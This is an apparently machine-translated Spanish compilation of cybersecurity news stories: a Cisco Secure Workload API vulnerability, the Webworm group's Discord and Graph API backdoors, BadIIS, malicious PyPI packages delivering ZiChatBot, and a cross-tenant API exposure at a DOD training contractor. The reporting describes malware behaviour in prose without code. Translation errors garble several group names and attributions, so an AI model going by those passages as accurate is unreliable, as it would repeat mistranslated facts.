Seguimiento como CVE-2026-20223 (Puntuación CVSS: 10.0), la vulnerabilidad surge de una validación y autenticación insuficientes al acceder a los puntos finales de la API REST.

«Un atacante podría aprovechar esta vulnerabilidad si puede enviar una solicitud API diseñada a un punto final afectado», Cisco dicho. «Un exploit exitoso podría permitir al atacante leer información confidencial y realizar cambios de configuración a través de los límites de los inquilinos con los privilegios del usuario administrador del sitio».

La deficiencia afecta al software Cisco Secure Workload Cluster en SaaS y en implementaciones locales, independientemente de la configuración del dispositivo. Cisco dijo que no existen soluciones alternativas para abordar la vulnerabilidad.

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El problema se ha solucionado en las siguientes versiones:

  • Cisco Secure Workload versión 3.9 y anteriores (migrar a una versión fija)
  • Cisco Secure Workload versión 3.10 (corregido en 3.10.8.3)
  • Cisco Secure Workload versión 4.0 (corregido en 4.0.3.17)

El especialista en equipos de redes dijo que encontró la vulnerabilidad durante las pruebas de seguridad internas y que no hay evidencia de que haya sido explotada en la naturaleza.

La divulgación se produce una semana después de que Cisco revelara que un actor de amenazas conocido como UAT-8616 había explotado otra falla de derivación de autenticación de máxima gravedad en el controlador Catalyst SD-WAN (CVE-2026-20182, puntuación CVSS: 10.0) para obtener acceso no autorizado a sistemas SD-WAN.

Webworm implementa puertas traseras EchoCreep y GraphWorm utilizando Discord y MS Graph API – CYBERDEFENSA.MX

Los investigadores de ciberseguridad han detectado una nueva actividad de un actor de amenazas alineado con China conocido como gusano web en 2025, implementar puertas traseras personalizadas que emplean Discord y Microsoft Graph API para comunicaciones de comando y control (C2 o C&C).

Se estima que Webworm, documentado públicamente por primera vez por Symantec, propiedad de Broadcom, en septiembre de 2022, está activo desde al menos 2022, dirigido a agencias gubernamentales y empresas que abarcan los sectores de servicios de TI, aeroespacial y de energía eléctrica en Rusia, Georgia, Mongolia y varias otras naciones asiáticas.

Los ataques organizados por el grupo han aprovechado troyanos de acceso remoto (RAT) como Trochilus RAT, Gh0st RAT y 9002 RAT (también conocidos como Hydraq y McRat). Se dice que el actor de amenazas se superpone con grupos de nexo con China rastreados como FishMonger (también conocido como Aquatic Panda), Seis pequeños monosy Piratas Espaciales. SixLittleMonkeys es mejor conocido por implementar Gh0st RAT y un RAT llamado Mikroceen dirigido a entidades en Asia Central, Rusia, Bielorrusia y Mongolia.

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«En los últimos años, ha comenzado a avanzar hacia herramientas proxy existentes y personalizadas, que son más sigilosas que las puertas traseras completas», dijo el investigador de ESET Eric Howard. dicho. «En 2025, Webworm también agregó dos nuevas puertas traseras a su conjunto de herramientas: EchoCreep, que usa Discord para la comunicación C&C, y GraphWorm, que usa Microsoft Graph API para el mismo propósito».

Detrás de estos esfuerzos está el uso de un repositorio de GitHub que se hace pasar por una bifurcación de WordPress («github[.]com/anjsdgasdf/WordPress») como escenario para malware y herramientas como SoftEther VPN en un esfuerzo por pasar desapercibido y pasar desapercibido. La dependencia de SoftEther VPN es un Enfoque probado y probado adoptado por varios grupos de hackers chinos.

En los últimos dos años, se ha observado que el adversario se aleja de las puertas traseras tradicionales hacia utilidades (semi)legítimas como los proxy SOCKS, al tiempo que se centra cada vez más en países europeos, incluidas organizaciones gubernamentales en Bélgica, Italia, Serbia, Polonia y España, y una universidad local en Sudáfrica.

El descubrimiento de EchoCreep y GraphWorm marca una expansión del arsenal de Webworm, incluso cuando Trochilus y 9002 RAT parecen haber sido abandonados por el actor de amenazas. Otras herramientas destacadas son iox y soluciones de proxy personalizadas como WormFrp, ChainWorm, SmuxProxy y WormSocket. Se ha descubierto que WormFrp recupera configuraciones de un depósito de Amazon S3 comprometido.

«Estas herramientas de proxy personalizadas no sólo son capaces de cifrar comunicaciones, sino que también admiten el encadenamiento entre múltiples hosts, tanto interna como externamente a una red», dijo ESET. «Creemos que los operadores utilizan estas herramientas junto con SoftEther VPN para cubrir mejor sus huellas y aumentar el sigilo de sus actividades».

EchoCreep admite la carga/descarga de archivos y la ejecución de comandos a través de capacidades «cmd.exe», mientras que GraphWorm es una puerta trasera más avanzada que puede generar una nueva sesión «cmd.exe», ejecutar un proceso recién creado, cargar y descargar archivos hacia y desde Microsoft OneDrive y detener su propia ejecución después de recibir una señal de los operadores.

Un análisis del canal Discord aprovechado por EchoCreep como C2 muestra que los primeros comandos se enviaron ya el 21 de marzo de 2024. En total, se enviaron 433 mensajes de Discord a través del servidor C2.

Actualmente se desconoce exactamente cómo se entregan estas puertas traseras y la vía de acceso inicial utilizada por Webworm. Sin embargo, se ha descubierto que el atacante utiliza utilidades de código abierto como dirsearch y nuclei para forzar los archivos y directorios del servidor web de la víctima con fuerza bruta y buscar vulnerabilidades en su interior.

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La divulgación se produce como Cisco Talos arrojar luz en una variante de BadIIS que probablemente se vende o comparte entre múltiples grupos de ciberdelincuentes de habla china bajo un modelo de malware como servicio (MaaS) diseñado para la monetización continua. Se cree que la oferta ha estado en desarrollo desde al menos el 30 de septiembre de 2021.

El mismo autor de malware, que opera bajo el alias «lwxat», también ha puesto a disposición un conjunto de herramientas complementarias, incluidos instaladores basados ​​en servicios, cuentagotas y mecanismos de persistencia que automatizan la implementación, garantizan la capacidad de supervivencia en los reinicios del servidor IIS y evitan la detección.

El servicio ofrece una herramienta de creación dedicada que «permite a los actores de amenazas generar archivos de configuración, personalizar cargas útiles e inyectar parámetros en los binarios de BadIIS, lo que permite capacidades que incluyen la redirección de tráfico a sitios ilícitos, proxy inverso para la manipulación de rastreadores de motores de búsqueda, secuestro de contenido e inyección de vínculos de retroceso para fraude malicioso de optimización de motores de búsqueda (SEO)», dijo el investigador de Talos, Joey Chen.

Los paquetes PyPI entregan malware ZiChatBot a través de las API de Zulip en Windows y Linux – CYBERDEFENSA.MX

Investigadores de ciberseguridad han descubierto tres paquetes en el repositorio Python Package Index (PyPI) que están diseñados para entregar sigilosamente una familia de malware previamente desconocida llamada ZiChatBot en sistemas Windows y Linux.

«Si bien estos paquetes de ruedas implementan las características descritas en sus páginas web PyPI, su verdadero propósito es entregar archivos maliciosos de forma encubierta», Kaspersky dicho. «A diferencia del malware tradicional, ZiChatBot no se comunica con un servidor de comando y control (C2) dedicado, sino que utiliza una serie de API REST de la aplicación pública de chat del equipo. Zulip como su infraestructura C2.»

La actividad ha sido descrita como un «ataque a la cadena de suministro PyPI cuidadosamente planificado y ejecutado» por la empresa rusa de ciberseguridad. Los nombres de los paquetes, que desde entonces han sido eliminados, se enumeran a continuación:

  • uuid32-utils (1.479 descargas)
  • colorinal (614 descargas)
  • termncolor (387 descargas)

Los tres paquetes se cargaron en PyPI durante un breve período entre el 16 y el 22 de julio de 2025. Si bien uuid32-utils y colorinal utilizan cargas útiles maliciosas similares, termncolor es un paquete de apariencia benigna que incluye colorinal como una dependencia.

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En los sistemas Windows, una vez instalado cualquiera de los dos primeros paquetes, el código malicioso extrae un gotero DLL («terminate.dll») y lo escribe en el disco. En el momento en que se importa la biblioteca a un proyecto, se carga la DLL, que actúa como un cuentagotas para ZiChatBot, después de lo cual establece una entrada de ejecución automática en el Registro de Windows y ejecuta el código para eliminarse del host.

La versión de Linux del dropper de objetos compartidos («terminate.so») coloca el malware en la ruta «/tmp/obsHub/obs-check-update» y configura una entrada crontab. Independientemente del sistema operativo en el que se esté ejecutando, ZiChatBot está diseñado para ejecutar el código shell recibido desde su servidor C2. Después de ejecutar el comando, el malware envía un emoji de corazón como respuesta para indicarle al servidor que la operación fue exitosa.

No está claro exactamente quién está detrás de la campaña. Sin embargo, Kaspersky dijo que el dropper comparte un «64% de similitud» con otro dropper utilizado por un grupo de hackers alineado con Vietnam llamado OceanLotus (también conocido como APT32).

A finales de 2024, el actor de amenazas era observado apuntando a la comunidad de ciberseguridad china con proyectos envenenados de Visual Studio Code disfrazados de complementos de Cobalt Strike para entregar un troyano que se ejecuta automáticamente cuando se compila el proyecto. El malware utiliza el servicio de toma de notas Notion como C2, según un análisis de ThreatBook.

Kaspersky señaló que si la campaña de la cadena de suministro de PyPI es realmente obra de OceanLotus, representa la estrategia del actor de amenazas para ampliar su alcance.

«Aunque los correos electrónicos de phishing siguen siendo un método de infección inicial común para OceanLotus, el grupo también está explorando activamente nuevas formas de comprometer a las víctimas a través de diversos ataques a la cadena de suministro», dijo.

La falla API de un contratista del DOD expuso datos de cursos militares y registros de miembros del servicio

Una empresa de tecnología de defensa con contratos con el Departamento de Defensa expuso registros de usuarios y materiales de entrenamiento militar a través de puntos finales API que carecían de controles de autorización significativos, según una cuenta publicada por Strixun proyecto de prueba de seguridad autónomo de código abierto.

El problema afectó a Schemata, una plataforma de entrenamiento virtual impulsada por IA utilizada en entornos militares y de defensa. Según Strix, una cuenta normal con pocos privilegios podía acceder a datos de varios inquilinos, incluidos listados de usuarios, registros de organizaciones, información de cursos, metadatos de capacitación y enlaces directos a documentos alojados en las instancias de Amazon Web Services de Schemata.

Strix dijo que los materiales expuestos incluían un curso de capacitación virtual en 3D para personal de mantenimiento naval con documentación marcada como confidencial y patentada, un curso que contiene manuales de campo del Ejército sobre manejo de artefactos explosivos y despliegue táctico, y cientos de registros de usuarios vinculados a bases e inscripciones en entrenamiento. Además, la información expuesta incluía nombres, direcciones de correo electrónico, detalles de inscripción y las bases militares donde estaban estacionados los miembros del servicio estadounidense.

Schemata reconoció que los puntos finales afectados quedaron expuestos el 1 de mayo, después de lo que Strix describió como un proceso de divulgación de 150 días. Strix dijo que verificó la remediación antes de la publicación y publicó su cuenta a principios de esta semana, 152 días después de su intento de divulgación inicial.

La vulnerabilidad reportada no requirió un exploit complejo. Strix dijo que utilizó una cuenta con pocos privilegios para observar el tráfico normal del navegador, identificar los puntos finales de API expuestos a través de la aplicación y solicitar datos de alto valor utilizando la misma sesión. Según Strix, esas solicitudes devolvieron registros externos a la propia organización de la cuenta, lo que sugiere que la API no estaba aplicando adecuadamente los límites de los inquilinos o los permisos de los usuarios.

En el software multiinquilino, los controles de autorización tienen como objetivo garantizar que los usuarios puedan acceder solo a los datos y funciones asignados a su cuenta u organización. El fracaso descrito por Strix representaría una ruptura básica de ese modelo. La empresa dijo que algunas rutas también parecían «habilitadas para escritura», lo que significa que un actor malicioso podría potencialmente modificar o eliminar cursos mediante solicitudes de actualización o eliminación, aunque la cuenta no dice que Strix haya realizado pruebas destructivas.

Strix no respondió a la solicitud de comentarios de CyberScoop.

La plataforma de Schemata sirve para entornos de entrenamiento militar y de defensa, donde las identidades de los usuarios, las asignaciones y las inscripciones en cursos pueden revelar un contexto operativo sensible. Incluso cuando la información no está clasificada, los registros que muestran dónde se encuentran los miembros del servicio, en qué capacitación están inscritos y a qué materiales pueden acceder pueden crear riesgos si se exponen fuera de los canales previstos.

en una declaración publicado en el sitio web de la empresaSchemata dijo que no tenía «evidencia de que algún tercero haya aprovechado la vulnerabilidad para acceder a los datos de los clientes».

El cronograma de divulgación también plantea preguntas sobre cómo las empresas que manejan datos confidenciales relacionados con el gobierno reciben y responden a los informes de vulnerabilidad. Strix dijo que se puso en contacto con Schemata por primera vez el 2 de diciembre de 2025. Según el relato, el director ejecutivo de Schemata respondió inicialmente: «Me encantaría saber cuál es la vulnerabilidad, pero supongo que quieres que te paguen por ello. ¿Es esa la obra?».

Strix dijo que aclaró el mismo día que no se requería compensación y que su prioridad era la seguridad del usuario. Dijo que envió múltiples seguimientos del 8 al 29 de diciembre, advirtiendo que la vulnerabilidad era crítica y preguntando dónde enviar los detalles. Cinco meses después, después de decirle a Schemata que los investigadores estaban publicando la información públicamente, Schemata respondió, reconoció los puntos finales expuestos y dijo que solucionaría el problema de inmediato.

«Después de que recibimos detalles procesables sobre la vulnerabilidad y confirmamos que el investigador de seguridad parecía ser legítimo, nuestro equipo reparó la vulnerabilidad el mismo día y el investigador verificó de forma independiente la solución antes de publicar sus hallazgos», se lee en la declaración de Schemata. «Agradecemos que el investigador de seguridad nos haya informado sobre esto y su contribución a la seguridad de nuestra plataforma».

Schemata dijo que está trabajando con consultores de ciberseguridad para ayudar con su respuesta y mejorar su postura de seguridad. La compañía también dijo que está en contacto con las autoridades gubernamentales sobre la vulnerabilidad.

Los contratistas de defensa que manejan información no clasificada controlada, o CUI, deben informar los incidentes cibernéticos al Centro de Delitos Cibernéticos del Departamento de Defensa (DC3). El centro no respondió a la solicitud de comentarios de CyberScoop.

Según datos de contrataciónla empresa tiene 3,4 millones de dólares en contratos con el Departamento de Defensa. En mayo de 2025, Schemata anunció 5 millones de dólares en financiación de riesgo de varias empresas, incluida Andreessen Horowitz.

Greg Otto

Escrito por Greg Otto

Greg Otto es el editor en jefe de CyberScoop y supervisa todo el contenido editorial del sitio web. Greg ha dirigido una cobertura de ciberseguridad que ha ganado varios premios, incluidos los de la Sociedad de Periodistas Profesionales y la Sociedad Estadounidense de Editores de Publicaciones Empresariales. Antes de unirse a Scoop News Group, Greg trabajó para Washington Business Journal, US News & World Report y WTOP Radio. Tiene una licenciatura en periodismo televisivo de la Universidad de Temple.